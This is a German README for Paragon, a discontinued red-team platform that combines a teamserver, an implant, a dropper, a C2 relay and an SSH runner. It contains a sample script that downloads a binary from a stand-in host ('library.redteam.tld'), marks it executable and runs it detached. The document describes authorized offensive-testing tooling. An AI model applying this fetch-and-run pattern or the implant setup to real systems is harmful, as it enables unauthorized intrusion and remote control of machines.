
Red Team Engagement-Plattform mit dem Ziel, offensive Tools hinter einer einfachen Benutzeroberfläche zu vereinen.
Dieses Projekt wurde eingestellt. Bitte beachten Sie unser neues Realm-Projekt, das auf vielen der Ideen aufbaut, die wir bei der Entwicklung dieses Repos hatten.

Paragon ist eine Plattform für Red-Team-Einsätze. Sie zielt darauf ab, offensive Tools hinter einer einfachen Benutzeroberfläche zu vereinen, indem sie viele Backend-Aufgaben abstrahiert, sodass sich Operateure auf das Schreiben von Implantaten konzentrieren können und weniger Zeit mit Datenbanken und CSS verbringen müssen. Das Repository enthält auch einige offensive Tools, die bereits in Paragon integriert sind und während Einsätzen verwendet werden können.
Dieses Repository befindet sich noch in intensiver Entwicklung und ist nicht für den Produktionseinsatz bereit. Sobald es als stabil gilt, wird ein V1.0.0-Tag veröffentlicht. Bis dahin kann es zu bahnbrechenden Änderungen an der API kommen, da wir unser Design kontinuierlich vereinfachen. Bitte lesen Sie die unten stehende Entwicklerdokumentation, wenn Sie uns helfen möchten, diesen Meilenstein schneller zu erreichen.
Eine kurze Demonstrationsinstanz kann durch Klonen des Repos und Ausführen von docker-compose up eingerichtet werden. Öffnen Sie 127.0.0.1:80 in Ihrem Browser, um loszulegen!
Die verwendeten Images sind auf Docker Hub verfügbar und können über eine docker-compose-Datei für eine Produktionsbereitstellung konfiguriert werden.
Die meisten Komponenten in diesem Repository basieren auf einer Python-ähnlichen Skriptsprache, die leistungsstarke Steuerung und Anpassung ihres Verhaltens ermöglicht. Die Sprache ist eine modifizierte Version von Googles Starlark, erweitert um plattformübergreifende Funktionen für Operateure. Dies ermöglicht es Werkzeugen wie dem Agenten und dem Dropper (siehe unten), Aufgaben auszuführen, ohne auf Systembinaries (curl, bash usw.) angewiesen zu sein. Alle Operationen werden als Code in Golang ausgeführt, sodass es intuitiv ist, zusätzliche Funktionen zur Skriptumgebung hinzuzufügen. Hier ist ein Beispielskript:
# Laden Sie eine Datei per https herunter, führen Sie sie aus und behalten Sie sie nicht als Kindprozess.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Stellt eine einfache Webanwendung und GraphQL-API zur Verfügung, um mit einem Red-Team-Wissensgraphen zu interagieren, Werkzeuge hinter einer zentralen Quelle der Wahrheit zu vereinen und viele mühsame Backend-Belange von den Operateuren zu abstrahieren. Integrieren Sie Ihre benutzerdefinierten Tools in den Teamserver (mithilfe der GraphQL-API oder Ereignisabonnements), um Zeit bei der Backend-Arbeit zu sparen. Der Teamserver zeichnet alle Aktivitäten auf. Wenn also alle Ihre Werkzeuge an einem Ort vereint sind, wird das Schreiben von Nachbereitungsberichten erheblich erleichtert.
Die unten aufgeführten Werkzeuge sind ebenfalls im Repository enthalten. Sie können leicht erweitert werden, um viele plattformübergreifende Anwendungsfälle abzudecken.
Paragon stellt ein Werkzeug zum Verpacken von Assets (Binärdateien, Skripte usw.) in eine einzelne Binärdatei bereit, die bei Ausführung Ihr benutzerdefiniertes Bereitstellungsskript ausführt, das Assets auf das Dateisystem schreiben, Prozesse starten, Dateien herunterladen, Fehler behandeln und mehr kann. Es ist vollständig plattformübergreifend und statisch kompiliert und bietet zuverlässige Bereitstellungen. Wenn Sie die Funktionalität erweitern möchten, können Sie einfach die generierte Golang-Datei vor dem Kompilieren erweitern.
Ein Implantat, das Aufgaben ausführt und Ausführungsergebnisse meldet. Es ist standardmäßig so konfiguriert, dass es Aufgaben mithilfe der Python-ähnlichen Skriptsprache von Paragon ausführt und über http(s) mit einem C2 kommuniziert. Es ist in Go geschrieben und kann schnell modifiziert werden, um neue Transportmethoden (z. B. DNS), Ausführungsoptionen, Failover-Logik und mehr hinzuzufügen.
Fungiert als Mittelsmann zwischen dem Agenten und dem Teamserver. Es verarbeitet Agent-Rückrufe für eine Vielzahl von Kommunikationsmechanismen und versorgt den Agenten mit neuen Aufgaben aus der Teamserver-Warteschlange.
Anstatt auf einen Rückruf zu warten, erfordern einige Situationen möglicherweise eine Vorwärtsverbindung, um eine Aufgabe schnell auszuführen und ihre Ausgabe anzuzeigen. Der Runner erreicht dies, indem er Aufgabenwarteschlangen abonniert und eine Verbindung zum Zielrechner herstellt (z. B. per SSH). Dies ermöglicht shell-ähnliche Integrationen, die dieselbe Oberfläche wie Implantate und C2s nutzen. Es ermöglicht auch die anfängliche Implantatbereitstellung über diese Oberfläche.